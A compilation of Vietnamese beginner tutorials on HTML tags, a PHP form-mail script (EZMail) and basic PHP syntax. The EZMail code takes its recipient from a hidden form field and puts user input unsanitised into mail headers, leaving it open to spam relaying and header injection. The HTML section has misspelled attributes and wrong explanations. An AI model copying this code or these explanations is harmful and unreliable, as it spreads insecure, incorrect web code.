Các lệnh căn bản trong ngôn ngữ html 
Nguồn : http://forum.zing.vn/showthread.php?t=128


Mình xin mạn phép giới thiệu với các bạn các lệnh căn bản trong ngôn ngữ html :
1 trang web viết bằng ngôn ngữ HTML bắt đầu bằng <html> và kết thúc bằng </html>
Phần nội dung của trang Web nằm trong phần <body> .... </body> .

I)Tạo liên kết

-Tiêu đề(Title) cho trang web :
<HEAD>
<TITLE>Title cho trang</TITLE>
</HEAD>

-Liên kết thông qua text :
<A HREF="URL">Text hiển thị liên kết</A>

-Liên kết đến các section trong trang hiện thời :
Tạo ra section:
<P>
<A HREF="Section">Text miêu tả section.</A>
</P>

-Text liên kết đến section:
<A NAME="Tên-section">Text để liên kết tới setion</A>

-Liên kết thông qua picture:
<A HREF="URL">
<IMG SRC="tên file hình ảnh"></A>

-Tạo liên kết gốc :
<BASE HREF="http://www.abc.com">


II)Các lệnh với chữ :
-Chữ đậm : <B>Các chữ cần viết đậm</B>
-Chữ nghiêng : <I>Các chữ cần viết nghiêng</I>
-Chữ gạch chân:<U>Các chữ cần gạch chân</U>
-Tạo đoạn : <P> Các chữ trong đoạn</P>
-Viết theo lề:<P ALIGHN=Right>Các chữ trong đoạn văn</P>
-Xuống dòng :<BR>Chữ cần viết trong dòng mới
-Chữ ngăn cách bởi gạch ngang : <HR>Các chữ ngăn cách với dòng trên bởi gạch ngang
-Định kích cỡ và độ dài dòng gạch ngang : <HR size=5 with=50%>Text
-Tạo heading: <H#> dòng tiêu đề </H#> trong đó # có giá trị nhỏ dần 1 đến 6
-Tạo chú thích: <!--Đoạn văn cần chú thích-->
-Tạo pre-formated: <PRE>Đoạn văn ở chế độ pre-formated</PRE-FORMATED>

III)Tạo vùng hình ảnh
Tạo image-map (vùng hình ảnh) : <img src="image.gif" usermap='#map_name'>
Đặt tên cho vùng <MAP NAME="tên vùng">
Xác định toạ độ cho vùng và hình dạng : <AREA COORDS="x,y,z,t" SHARP="RECT" HREF="URL">
với x,y,z,t là các số nguyên chỉ toạ độ ;
SHARP có thể có các dạng như "RECT","POLY","Circle"
HREF="URL" có nhiệm vụ tạo liên kết đến URL khi ta ấn vào vùng chọn

IV)Làm việc với trang:
-Tạo mầu nền: <body bgcolor="rrggbb">
với rr,gg,bb là các số tương ứng với tỉ lệ màu đỏ , xanh lá cây , xanh dương
-Lấy ảnh làm nền : khai báo trong phần body : background="tên hình ảnh nền"

V)Tạo table:
-Tạo table: <TABLE>Nội dung của bảng </TABLE>
-Tạo cột : <TR> Nội dung của cột </TR>
-Thêm nội dung cột : <TD> Nội dung </TD>
-Tạo heading : <TH> heading </TH>
-Kích thước lề:<TABLE BORDER="Number">....</TABLE>
-Độ rộng cột: <TABLE WIDTH="Number">....</TABLE>
-Tạo tiêu đề: <CAPTION> tiêu đề </CAPTION>
-Căn giá trị :<TABLE Alighn="Kiểu">....</TABLE> trong đó có 3 kiểu: LEFT,RIGHT,CENTER

VI)Tạo form:
(Form chứa thông tin để gửi tới server )

-Tạo form:
<FORM ACTION="_URL_" METHOD="METHOD"> </FORM>
Trong đó ACTION="_URL_" chỉ ra server cần gửi thông tin đến
METHOD="METHOD" chỉ ra phương thức gửi POST hoặc GET
+POST là gửi từng phần
+GET là gửi toàn bộ

-Chọn kiểu dữ liệu cho form:
<FORM ACTION="_URL_" METHOD="METHOD">
<INPUT NAME="name" TYPE="type">
</FORM>

-Kiểu dữ liệu là TEXT:
<FORM ACTION="_URL_" METHOD="METHOD">
name:<INPUT NAME="name" TYPE="TEXT" SIZE="size" MAXLENGTH="number">
</FORM>
Trong đó : SIZE là kích thước text , maxlength là độ dài tối đa của chuỗi kí tự
name là tên của form

-Nhập form text dạng password:
password:<INPUT TYPE="PASSWORD" NAME="PASS" SIZE="size">

-Nhập form text dạng ẩn:
hidden:<INPUT TYPE="HIDDEN" NAME="HIDDEN" SIZE="size">

-Tạo nút chọn kiểu YES-NO(tạo ra 2 ô để ta đánh dấu lựa chọn):
<P>Tiêu đề chọn lựa</P>
<P>
<INPUT TYPE="RADIO" NAME="RADIOBUTTON" VALUE="RADIOBUTTON">
YES</P>
<P>
<INPUT TYPE="RADIO" NAME="RADIOBUTTON" VALUE="RADIOBUTTON">
NO</P>
</P>

-Tạo check box(có thể chọn nhiều mục bằng cách đánh dấu) :
Ví dụ dưới đây sẽ tạo ra 1 form lựa chọn các kiểu computer mà bạn thích, có thể chọn hơn 1 kiểu:
<P>Type of Computer</P>
<P>
<INPUT TYPE="CHECKBOX" NAME="CHECKBOX" VALUE="CHECKBOX">
PENTIUMII</P>
<P>
<INPUT TYPE="CHECKBOX" NAME="CHECKBOX2" VALUE="CHECKBOX">
PENTIUMIII</P>
<P>
<INPUT TYPE="CHECKBOX" NAME="CHECKBOX3" VALUE="CHECKBOX">
PENTIUMIV</P>

-Tạo reset form :
Form này có nhiệm vụ xoá các lựa chọn trong check box , đưa check box trở về trạng thái ban đầu:
Đặt form này ngay đằng sau của check box:
<P>
<INPUT TYPE="RESET" NAME="RESET" VALUE="RESET">
</P>

-Gửi thông tin trong form tới server:
Đặt form này ngay đằng sau của check box:
<P>
<INPUT TYPE="SUBMIT" NAME="SUBMIT" VALUE="SUBMIT">
</P>

-Tạo pop-up menus:
pop-up menus là form có dạng hộp check , khi ta ấn vào hộp thì các mục trong hộp sẽ hiện ra
Dưới đây sẽ tạo ra pop-up cho 1 form lựa chọn kiểu thanh toán cho khách hàng
<P ALIGHN="CENTER">Kiểu thanh toán
<SELECT NAME="Seclect">
<OPTION VALUE="C1">Cash</OPTION>
<OPTION VALUE="C2">Cheque</OPTION>
<OPTION VALUE="C3">Creditcard</OPTION>
</SELECT>
</P>

-Tạo list box:
List box cũng giống như text box nhưng chỉ khác ở cách trình bày , nó hiện ra 1 danh sách lựa chọn
Dưới đây sẽ tạo ra 1 danh sách các hệ điều hành cho khách hàng lựa chọn , khách hàng có thể lựa chọn
nhiều hơn 1 hệ điều hành :
<P ALIGHN="CENTER">Các hệ điều hành
<SELECT NAME="Seclect2" SIZE="5">
<OPTION <WIN 98</OPTION>
<OPTION <WINNT</OPTION>
<OPTION <WINXP</OPTION>
<OPTION <LINUX REDHAT</OPTION>
</SELECT>
</P>

VI)Tạo frames:
Người ta có thể chia trang web ra làm nhiều frame , mỗi frame gần giống như 1 trang web độc lập với nhau ,
tức 1 frame có thể load nội dung mới mà không ảnh hưởng tới các frame còn lại . Bạn có thể thấy ví dụ về
trang web có chia frame như ở website www.ktlehoan.com .

-Tạo frame:
Đặt các lệnh sau trong phần <body>....</body>
<FRAMESET> </FRAMSET>

-Tạo frame theo cột:
<FRAMESET COLS="200,*"> </FRAMSET>
Chuỗi lệnh trên tạo ra 2 frame nằm dọc ngăn cách nhau bởi cột 200(tính theo pixe)
Cú pháp lệnh là COLS="number,*"

-Tạo frame theo hàng:
<FRAMESET ROWS="100,*"> </FRAMSET>
Chuỗi lệnh trên tạo ra 2 frame nằm ngang ngăn cách nhau bởi hàng 100
Cú pháp lệnh là ROWS="number,*"

-Làm frame mở ra trang web mới :
<FRAMESET ROWS="100,*">
<frame src="http://www.abc.com/page1.htm">
<frame src="http://www.def.com/page2.htm">
</FRAMSET>
Chuỗi lệnh này tạo ra 2 frame nằm ngang phân nhau tại hàng 100 , frame thứ nhất có nội dung là trang
http://www.abc.com/page1.htm , frame thứ 2 có nội dung là trang http://www.def.com/page2.htm .

-Đặt kích thước cho margin(viền) của frame:
Với viền trái hay phải(dùng cho các frame nằm dọc ) : MARGINWIDTH="number"
Với viền trên hay dưới(dùng cho các frame nằm ngang): MARGINHEIGHT="number"
number là độ dầy của viền tính theo pixe

-Đặt chức năng cuộn cho frame:
Muốn cho frame có thể cuộn đặt : SCROLLING="YES"
Muốn cho frame không thể cuộn đặt : SCROLLING="NO"

-ĐẶt liên kết giữa các frame:
Bạn có thể khiến cho 1 frame chứa các mục , khi ta ấn vào 1 mục thì nội dung của mục đó hiển thị ở frame
kia (giống như trang ktlehoan.com) như sau:
<A HREF="page1.htm" TARGET="windows_name">Link_text</A>
Như vậy khi bạn ấn vào dòng chữ Link_text ở frame thứ nhất thì nội dung của trang page1.htm sẽ hiển thị tại frame thứ 2 .

· 

Tự tạo cho mình một Form Mail (Phần I) 
[image: image10.jpg]


(Thứ Sáu, 04/04/2008-3:45 PM) Thuở mới bắt đầu tập làm web, tôi đã từng khao khát muốn làm cho được một chương trình cho phép gửi mail ngay từ trang web (hay còn gọi là form mail). Tất nhiên, dùng một liên kết thì quá đơn giản, nhưng không chuyên nghiệp chút nào. 

Sau một thời gian dùng thử những form mail đặt nhờ trên các trang web miễn phí, tôi quyết định làm lấy một form mail cho mình. 
Để có thể làm được form mail, tất nhiên là phải dùng đến một ngôn ngữ script cho phép xử lý lệnh trên server chứ không thể dùng các ngôn ngữ xử lý lệnh tại trình duyệt như JavaScript hay VB Script. Tôi quyết định chọn PHP vì đây là một ngôn ngữ khá mềm dẻo, dễ dùng, có thể nhúng vào các trang HTML và cũng không đòi hỏi cài đặt rắc rối. Tất nhiên là muốn dùng nó thì server nơi bạn lưu website của mình phải hỗ trợ PHP thì mới được.
Nguyên lý chung của một form mail là chúng ta phải có một tệp .HTM, trong đó có một form để thu thập những thông tin bạn muốn người dùng điền vào, và một tệp .PHP để gửi các thông tin đó về cho bạn. Chúng ta hãy xem xét từng tệp một.
Tệp EZMAIL.HTM có cấu tạo như một tệp HTM điển hình khác. Phần đầu <HEAD></HEAD> nêu lên tiêu đề của trang và ấn định tập ký tự sẽ sử dụng. Ở đây chúng ta dùng tập Unicode rút gọn 8-bit là một tập ký tự phổ biến để hiển thị tiếng Việt trên Internet hiện nay.
Phần thân <BODY></BODY> của tệp EZMAIL.HTM chỉ bao gồm duy nhất một form, trong đó có 4 thành phần chính:
· Một ô văn bản để nhập tên người sẽ gửi thư cho bạn, ô này được đặt tên là SenderName.
· Một ô văn bản để nhập địa chỉ e-mail của người gửi thư cho bạn, ô này được đặt tên là SenderEmail.
· Một ô văn bản để người gửi thư cho bạn nhập chủ đề vắn tắt nội dung họ muốn nói, ô này có tên là Subject.
· Một vùng văn bản để nhập nội dung thư, vùng này có tên là Message. Vùng văn bản có thể có nhiều dòng và nhiều cột, trong khi ô văn bản chỉ có một dòng mà thôi.
Ngoài ra, còn có hai thành phần không thể thiếu của một form là các nút để ra lệnh cho form gửi thông tin đi hoặc xoá những thông tin đã có để điền lại.
Các thành phần trên sẽ được hiện lên trình duyệt web để người dùng có thể nhập vào các thông tin cần thiết (xem hình). Bên cạnh đó, form cũng có một số thành phần ẩn khác phục vụ cho việc xử lý form. Cũng như các thành phần ở trên, đây thực chất là các biến (variable), nhưng có điều khác là các biến này đã nhận giá trị do chúng ta gán cho ngay từ đầu chứ không phải do người duyệt web đưa vào. Bạn có thể tuỳ ý thay đổi giá trị các biến này (phần theo sau VALUE=) cho đúng với nhu cầu của bạn.
· Biến RecipientEmail là địa chỉ e-mail mà thư sẽ được gửi đến. Tất nhiên là bạn muốn những thông tin người dùng điền vào phải được gửi về cho bạn, vì vậy hãy đưa địa chỉ e-mail của bạn vào đây.
· Biến DefaultSubject là chủ đề mặc định của thư trong trường hợp người dùng không nhập thông tin gì vào ô văn bản chủ đề.
· Biến RedirectPage chứa địa chỉ một trang web mà người dùng sẽ chuyển đến sau khi gửi thư đi. Thông thường, đó là một trang web cám ơn người dùng hoặc trang chủ website của bạn.
· Biến CcEmail là địa chỉ e-mail mà bạn muốn cũng nhận được thông tin do người dùng gửi đến. Ví dụ nếu là một form nhận ý kiến phản hồi của khách hàng, bạn có thể lấy RecipientEmail là địa chỉ công ty và CcEmail là địa chỉ của riêng bạn.
Trừ biến RecipientEmail là bắt buộc phải có để form có thể hoạt động được, bạn có thể bỏ 3 biến còn lại nếu thấy không cần thiết.
Lưu ý là trong PHP 3.0, khi người dùng gửi form đi thì tên các thành phần trong form tự động chuyển thành tên biến tương ứng trong tệp EZMAIL.PHP (trong PHP 4.0 trở lên thì không nhất thiết như vậy), do đó nếu bạn muốn đổi tên một thành phần trong form ở tệp EZMAIL.HTM thì bạn cũng phải đổi tên biến tương ứng trong tệp EZMAIL.PHP.
Giờ ta xem xét đến tệp thứ hai, EZMAIL.PHP, chứa các mã cần thiết để xử lý form và gửi thông tin từ người dùng về cho chúng ta. Đây thực sự là một chương trình (dù rất đơn giản) nên nếu đã biết qua các ngôn ngữ như C hay JavaScript, bạn sẽ thấy chương trình này rất dễ hiểu.
Trước hết, có hai thông tin mà bạn luôn muốn biết khi nhận được thư. Đó là địa chỉ e-mail của người gửi (để bạn có thể trả lời hoặc trao đổi thêm thông tin cần thiết) và nội dung thư (vì một lá thư không thể không có nội dung gì). Ta hãy kiểm tra các biến này, nếu các biến này để trống thì hiện thông báo cho người dùng biết và thoát khỏi chương trình:
if ((!$SenderEmail) || (!$Message)) {
echo ("Missing your email or message!");
exit ();
}
Sau đó, ta kiểm tra xem địa chỉ e-mail của người dùng nhập vào có hợp lệ không. Một địa chỉ e-mail hợp lệ là địa chỉ có dạng user@isp.com, tức là phải có một dấu @ và sau dấu @ phải có ít nhất một dấu chấm. Ngoài ra, các ký tự trong địa chỉ có thể là chữ cái, chữ số, dấu _. Ta sử dụng hàm eregi() của PHP để làm việc này. Nếu thấy địa chỉ e-mail không hợp lệ thì ra thông báo và thoát khỏi chương trình:
if (!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$", $SenderEmail)) {
echo ("Your email address is invalid");
exit ();
}
Tiếp theo, chúng ta kiểm tra ô chủ đề. Nếu người dùng bỏ qua không nhập gì vào ô này thì chúng ta sẽ sử dụng chủ đề mặc định:
if (!$Subject) 
$Subject = $DefaultSubject;
Để đưa thông tin về người gửi vào ngay trong thư, chúng ta sử dụng thêm một biến là $Headers. Các thông tin trong biến này sẽ hiện lên ở thanh tiêu đề của mỗi lá thư khi chúng ta xem thư trong các chương trình như Outlook Express, Eudora. Nếu bạn sử dụng cả biến $CcEmail thì tên địa chỉ e-mail bổ sung này cũng sẽ hiện ở đây.
$Headers .= "From: $SenderName <$SenderEmail>\r\nReply-To: $SenderEmail";
if ($CcEmail)
$Headers .= "\r\nCc: $CcEmail";
Mọi thành phần cấu tạo nên lá thư đã xong. Ta chỉ việc gửi thư đi bằng hàm mail() của PHP. Hàm này nhận 4 tham số là tên người nhận, chủ đề, nội dung thư và các thông tin bổ trợ trong biến $Headers.
mail ($RecipientEmail, $Subject, $Message, $Headers);
Cuối cùng, sau khi thư đã được gửi đi, trình duyệt sẽ hiện lên trang web mà bạn hướng người dùng đến (lưu trong biến $RedirectPage). Hoặc giả bạn chỉ đơn thuần muốn hiện một câu cám ơn, hãy bỏ dòng <INPUT TYPE="hidden" NAME="RedirectPage" VALUE="…"> trong tệp EZMAIL.HTM là được.
if ($RedirectPage) {
header ("Location: $RedirectPage");
} else {
echo "<CENTER><H1>Thank you for using EZ Mail</H1>\n";
echo "<br><br>\nPowered by www.thanhhai.com<P></CENTER>";
}
***
Trên đây là toàn bộ những gì cần thiết để bạn có thể tự tạo một form trên website của mình để nhận thông tin do người dùng điền vào. Trong hai tệp EZMAIL.HTM và EZMAIL.PHP, tôi đã cố gắng rút gọn tối đa, chỉ nêu lên những thành phần cần thiết nhất của form và các lệnh xử lý form để các bạn dễ theo dõi, nắm bắt. Các bạn hoàn toàn có thể cải tiến để form được trình bày đẹp hơn, dùng font chữ do bạn chỉ định, tô màu cho form, hoặc gộp cả hai tệp trên vào làm một. Các bạn có thể gửi e-mail về thanhhai@thanhhai.com nếu muốn trao đổi sâu hơn về những vấn đề này. 
EZMAIL.HTM
<HTML>
<HEAD>
<TITLE>EZMail: powered by www.thanhhai.com</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
</HEAD>
<BODY>
<FORM ACTION="ezmail.php" METHOD="POST">
Your Name : <INPUT NAME="SenderName" TYPE="text" SIZE="35"><P>
Your Email: <INPUT NAME="SenderEmail" TYPE="text" SIZE="35"><P>
Subject : <INPUT NAME="Subject" TYPE="text" SIZE="35"><P>
Message<BR><TEXTAREA NAME="Message" ROWS="5" COLS="40"></TEXTAREA><P>
<INPUT TYPE="Submit" VALUE="Send"> <INPUT TYPE="Reset"> 
<INPUT TYPE="hidden" NAME="RecipientEmail" VALUE="thanhhai@thanhhai.com">
<INPUT TYPE="hidden" NAME="DefaultSubject" VALUE="Feedback from My Website">
<INPUT TYPE="hidden" NAME="RedirectPage" VALUE="http://www.thanhhai.com">
<INPUT TYPE="hidden" NAME="CcEmail" VALUE="chieuvangthu@yahoo.com">
</FORM>
</BODY>
</HTML>
EZMAIL.PHP
<?
/*
###################################
# EZMail: powered by www.thanhhai.com #
###################################
*/
if ((!$SenderEmail) || (!$Message))
{
echo ("Missing your email or message!");
exit ();
}
if (!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$", $SenderEmail)) 
{
echo ("Your email address is invalid");
exit ();
}
if (!$Subject) 
$Subject = $DefaultSubject;
$Headers .= "From: $SenderName <$SenderEmail>\r\nReply-To: $SenderEmail";
if ($CcEmail)
$Headers .= "\r\nCc: $CcEmail";
mail ($RecipientEmail, $Subject, $Message, $Headers);
if ($RedirectPage) 
{
header ("Location: $RedirectPage");
}
else
{
echo "<CENTER><H1>Thank you for using EZ Mail</H1>\n";
echo "<br><br>\nPowered by www.thanhhai.com<P></CENTER>";
}
?>


Theo echip
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Sau khi đăng bài viết "Tự tạo cho mình một form mail", tôi đã nhận được một số thư của các bạn hỏi về việc sử dụng và cải tiến chương trình EZMAIL. Bài viết này nhằm đáp ứng phần nào những yêu cầu đó. 

Ngay hàng thẳng lối
Để làm cho các ô nhập liệu và phần mô tả các ô này trong tệp EZMAIL.HTM gióng thẳng hàng với nhau, cách hiệu quả nhất là đưa chúng vào bảng. Ta hãy sử dụng thẻ <TABLE> cùng các thẻ đi kèm <TR>, <TD> để làm việc này.
Trong FrontPage, bạn chỉ việc nhấn chuột vào nút để tạo ra một bảng gồm 2 cột, 5 hàng, sau đó kéo từng phần tử của form vào ô tương ứng. Mã HTML của đoạn này sẽ như sau:
<TABLE BORDER="0" CELLSPACING="1" WIDTH="100%">
<TR>
<TD WIDTH="17%">Your Name:</TD>
<TD WIDTH="83%"> <INPUT NAME="SenderName" TYPE="text" SIZE="35"></TD>
</TR>
<TR>
<TD WIDTH="17%">Your Email: </TD>
<TD WIDTH="83%"> <INPUT NAME="SenderEmail" TYPE="text" SIZE="35"></TD>
</TR>
<TR>
<TD WIDTH="17%">Subject: </TD>
<TD WIDTH="83%"> <INPUT NAME="Subject" TYPE="text" SIZE="35"></TD>
</TR>
<TR>
<TD WIDTH="17%">Message</TD>
<TD WIDTH="83%"><TEXTAREA NAME="Message" ROWS="5" COLS="40"></TEXTAREA></TD>
</TR>
<TR>
<TD WIDTH="17%">&nbsp;</TD>
<TD WIDTH="83%">
<INPUT TYPE="Submit" VALUE="Send">&nbsp; <INPUT TYPE="Reset"></TD>
</TR>
</TABLE>
Tô màu cho Form

Bạn có thể tô màu cho cả form bằng việc thay đổi thuộc tính BGCOLOR của thẻ <TABLE>.

<TABLE BORDER="0" CELLSPACING="1" WIDTH="100%" BGCOLOR="#CDFFBA">

Còn nếu muốn tô màu cho từng ô nhập liệu thì điều chỉnh thẻ <INPUT> như sau:

<INPUT NAME="SenderName" TYPE="text" SIZE="35" STYLE="background: #FFCC99;">
Làm cho Form thêm đa dạng

Bạn có thể bổ sung thêm các thành phần để cho form được đa dạng và đáp ứng yêu cầu thu thập thông tin từ người dùng. Thành phần đầu tiên bạn có thể thêm vào là nút radio. Nút này thể hiện một loạt những lựa chọn và người dùng chỉ có thể chọn một trong các lựa chọn đó. Ví dụ bạn muốn biết người dùng đánh giá thế nào về website của mình, bạn có thể tạo một nút radio gồm 3 lựa chọn Tốt, Khá, Trung bình. Lưu ý là thuộc tính NAME trong cả 3 thẻ <INPUT> này phải giống nhau:

How do you rate this website?
<INPUT TYPE=RADIO NAME="Rating" VALUE="Good" CHECKED>Good
<INPUT TYPE=RADIO NAME="Rating" VALUE="Average">Average
<INPUT TYPE=RADIO NAME="Rating" VALUE="Bad">Bad

Bạn cũng có thể thêm vào form của mình một hay nhiều hộp kiểm. Một hộp kiểm chỉ nhận một trong hai giá trị - được đánh dấu (checked) hoặc không được đánh dấu (unchecked). Do đó, hộp kiểm rất thích hợp với những thông tin đối lập, kiểu như Nam/Nữ, Có/Không, Đúng/Sai.

<INPUT TYPE=CHECKBOX NAME="Gender" VALUE="Male" CHECKED>Male?
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Nếu muốn tạo ra một danh sách nhiều lựa chọn hơn, bạn phải dùng đến hộp combo. Hộp này được tạo bởi cặp thẻ <SELECT> </SELECT> và ở giữa là số lượng tùy ý các thẻ <OPTION> để mô tả các lựa chọn. Ví dụ bạn muốn biết độ tuổi của người gửi thông tin cho bạn:

<SELECT NAME="Age">
<OPTION VALUE="Under 20" SELECTED>Under 20
<OPTION VALUE="20 - 30">20 - 30
<OPTION VALUE="30 - 40">30 - 40
<OPTION VALUE="Over 40">Over 40
</SELECT>

Ở tệp EZMAIL.PHP, bạn sẽ phải thêm một số dòng lệnh để thể hiện những thông tin thu thập được trong thông điệp của mình:

if (!$Gender) 
$Gender = "Female";
$Message .= "\r\nWebsite rating: $Rating";
$Message .= "\r\n(About Sender: $SenderName, $Gender, $Age)";
2 Trong 1
Trong thời đại của những cơm 5 trong 1 (cơm hộp), cà-phê 3 trong 1 thì liệu ta có thể nhập hai tệp EZMAIL.HTM và EZMAIL.PHP lại làm một được không? Câu trả lời là có. Và đây chính là điểm mạnh cũng như tính uyển chuyển của PHP. Bạn chỉ việc kết hợp cả hai tệp lại với nhau, thêm một ít dòng lệnh nữa là xong. Dưới đây là toàn bộ mã của tệp EZMAIL-3.PHP, bao gồm cả một bảng đã tô màu, gióng thẳng hàng các thành phần trong form, bổ sung thêm một số thành phần mới và kết hợp cả phần hiển thị form (EZMAIL.HTM) lẫn phần xử lý form (EZMAIL.PHP).
Nếu để ý một chút, bạn có thể thấy tôi đã chuyển các biến RecipientEmail, CcEmail, DefaultSubject, RedirectPage từ phần mã HTML sang phần mã PHP và đặt ngay ở đầu chương trình để bạn có thể dễ dàng tùy biến. Còn một lý do nữa để làm việc này là có thể bạn không muốn địa chỉ e-mail của mình rơi vào tay các spammer (những kẻ săn lùng địa chỉ e-mail để gửi quảng cáo). Bạn nhớ thay các biến RecipientEmail và CcEmail bằng địa chỉ e-mail thật của bạn.
EZMAIL-3.PHP
<?php
/*
###################################
# EZMail: powered by www.thanhhai.com #
###################################
*/
$RecipientEmail = "yourname@yourdomain.com";
$DefaultSubject = "Feedback from My Website";
$RedirectPage = "http://www.thanhhai.com";
$CcEmail = "cc@yourdomain.com";
if (!$submit) {
?>
<HTML>
<HEAD>
<TITLE>EZMail: powered by www.thanhhai.com</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
</HEAD>
<BODY>
<FORM ACTION="<?php echo $PHP_SELF ?>" METHOD="POST">
<TABLE BORDER="0" CELLSPACING="1" WIDTH="100%" BGCOLOR="#CDFFBA">
<TR>
<TD WIDTH="20%">Your Name:</TD>
<TD WIDTH="80%"> <INPUT NAME="SenderName" TYPE="text" SIZE="35"> 
<INPUT TYPE=CHECKBOX NAME="Gender" VALUE="Male" CHECKED>Male?
<SELECT NAME="Age">
<OPTION VALUE="Under 20" SELECTED>Under 20
<OPTION VALUE="20 - 30">20 - 30
<OPTION VALUE="30 - 40">30 - 40
<OPTION VALUE="Over 40">Over 40
</SELECT>
</TD>
</TR>
<TR>
<TD WIDTH="20%">Your Email: </TD>
<TD WIDTH="80%"> <INPUT NAME="SenderEmail" TYPE="text" SIZE="35"></TD>
</TR>
<TR>
<TD WIDTH="20%">Subject: </TD>
<TD WIDTH="80%"> <INPUT NAME="Subject" TYPE="text" SIZE="35"></TD>
</TR>
<TR>
<TD WIDTH="20%">Message</TD>
<TD WIDTH="80%"><TEXTAREA NAME="Message" ROWS="5" COLS="40"></TEXTAREA></TD>
</TR>
<TR>
<TD WIDTH="20%">How do you rate this website?</TD>
<TD WIDTH="80%">
<INPUT TYPE=RADIO NAME="Rating" VALUE="Good" CHECKED>Good
<INPUT TYPE=RADIO NAME="Rating" VALUE="Average">Average
<INPUT TYPE=RADIO NAME="Rating" VALUE="Bad">Bad
</TD>
</TR>
<TR>
<TD WIDTH="20%"></TD>
<TD WIDTH="80%">
<INPUT TYPE="Submit" NAME="submit" VALUE="Send">&nbsp; <INPUT TYPE="Reset"></TD>
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
<?php
}
else {
if ((!$SenderEmail) || (!$Message)) {
echo ("Missing your email or message!");
exit ();
}
if (!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$", $SenderEmail)) {
echo ("Your email address is invalid");
exit ();
}
if (!$Subject) 
$Subject = $DefaultSubject;
if (!$Gender) 
$Gender = "Female";
$Message .= "\r\nWebsite rating: $Rating";
$Message .= "\r\n(About Sender: $SenderName, $Gender, $Age)";
$Headers .= "From: $SenderName <$SenderEmail>\r\nReply-To: $SenderEmail";
if ($CcEmail)
$Headers .= "\r\nCc: $CcEmail";
mail ($RecipientEmail, $Subject, $Message, $Headers);
if ($RedirectPage) {
header ("Location: $RedirectPage");
} else {
echo "<CENTER><H1>Thank you for using EZ Mail</H1>";
echo "<P>Powered by www.thanhhai.com</CENTER>";
}
}
?>
Bạn có thể tải về các tệp mã nguồn tại đây: http://www.thanhhai.com/computer/ezmail/ezmail.zip 
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Trang PHP là 1 trang HTML có nhúng mã PHP. Để minh hoạ cho điều này, ta hãy xem qua một số ví dụ sau:


Ví dụ 1: lưu file sau lên đĩa với tên vd1.php và chạy thử: 
<html><head><title>Testing page</title></head>
<body><?php echo "Hello, world!"; ?></body>
</html>
Bạn sẽ nhận được 1 trang HTML mà khi view source bạn xẽ nhận được nội dung như sau: 
<html><head><title>Testing page</title></head>
<body>Hello, World!</body>
</html>
Ví dụ 2: lưu file sau lên đĩa với tên vd2.php và chạy thử: 
<?php echo "<html><head><title>Testing page</title></head>
<body>Hello, world!</body>
</html>"; ?>
Bạn cũng nhận được 1 trang HTML có source là: 
<html><head><title>Testing page</title></head>
<body>Hello, World!</body>
</html>
Như vậy có thể nhận xét rằng 1 trang PHP cũng chính là 1 trang HTML có nhúng mã PHP ở bên trong và có phần mở rộng là .php. Phần mã PHP được đặt trong thẻ mở <?php và thẻ đóng ?>. Khi trình duyệt truy cập vào 1 trang PHP, server sẽ đọc nội dung file PHP lên, lọc ra các đoạn mã PHP, thực thi các đoạn mã đó, lấy kết quả xuất ra của các đoạn mã PHP thay thế vào chỗ ban đầu của chúng trong file PHP, cuối cùng server trả về kết quả cuối cùng là 1 trang nội dung HTML về cho trình duyệt.

Ở ví dụ 1 bên trên, server thực thi đoạn mã <?php echo "Hello, world!"; ?>, đoạn mã này sẽ xuất ra dòng chữ Hello, world!, dòng chữ này sẽ được server thay thế ngược lại vào vị trí của đoạn mã PHP và trả về kết quả cuối cùng cho trình duyệt: 
<html><head><title>Testing page</title></head>
<body>Hello, World!</body>
</html>
Như vậy thì ta hoàn toàn có thể tạo ra 1 file vd3.php với nội dung như sau: 
<html><head><title>Testing page</title></head>
<body>Hello, World!</body>
</html>
Và file này vẫn chạy được ngon lành, không có vấn đề gì hết! 
Lệnh echo dùng để xuất 1 chuỗi văn bản về trình duyệt
Ở các ví dụ bên trên, ta đã dùng 1 lệnh của PHP là lệnh echo. Lệnh này dùng để xuất 1 chuỗi văn bản về cho trình duyệt.
Ví dụ câu lệnh echo "Hello, world!"; trình duyệt sẽ nhận được chỗi văn bản Hello, world!.
Câu lệnh echo 1+2; sẽ trả về cho trình duyệt chỗi văn bản 3.
Và câu lệnh echo 1+2, "Hello, world!"; sẽ trả về trình duyệt chỗi 3Hello, world!.
Phân cách các lệnh bằng dấu chấm phảy (;)
Tương tự như các ngôn ngữ lập trình C hoặc Pascal, 1 câu lệnh của PHP được kết thúc bằng dấu chấm phảy (;). Ví dụ:
echo 1+2;
echo "Hello, world!";
Chú thích trong chương trình

Các chú thích không phải là mã chương trình, nhưng nó giúp ta ghi chú về 1 đoạn chương trình nào đó. Khi lập trình, bạn nên để các ghi chú vào trong chương trình để sau này khi đọc lại code, bạn sẽ nhanh chóng nắm bắt được nội dung và ý nghĩa của đoạn chương trình đã biết.
PHP cho phép ta ghi 2 loại chú thích: chú thích trên 1 dòng (chú thích loại này chỉ có thể ghi trên 1 dòng mà thôi), và chú thích nhiều dòng (chú thích loại này có thể ghi dài bao nhiêu cũng được).
Chú thích 1 dòng được bắt đầu bằng // hoặc #, và những gì được ghi từ đó về sau là chú thích. Chú thích nhiều dòng được bắt đầu bằng /* và kết thúc bằng */, những gì ở giữa là chú thích. Ví dụ: 
<?php
//Đây là chú thích 1 dòng, đoạn chương trình sau sẽ in ra chuỗi 123
echo 123;
#Đây cũng là chú thích 1 dòng, đoạn chương trình sau sẽ in ra chuỗi abc
echo "abc";
/*
Đây là chú thích nhiều dòng
Đoạn chương trình sau sẽ in ra chuỗi abc123
*/
echo "abc123";
?>

Nguồn: diendantinhoc
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	 Gửi bài viết
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· Cơ Bản PHP (Phần V)  (09/05)

· Cơ Bản PHP (Phần IV)  (09/05)

· Cơ Bản PHP (PhầnIII)  (25/04)

· Xử lý thư mục và tệp tin (Phần III)  (23/04)

· Cơ Bản PHP (PhầnII)  (23/04)

	PHP File Include (Phần I)

	(Thứ Tư, 16/04/2008-4:31 PM)

	

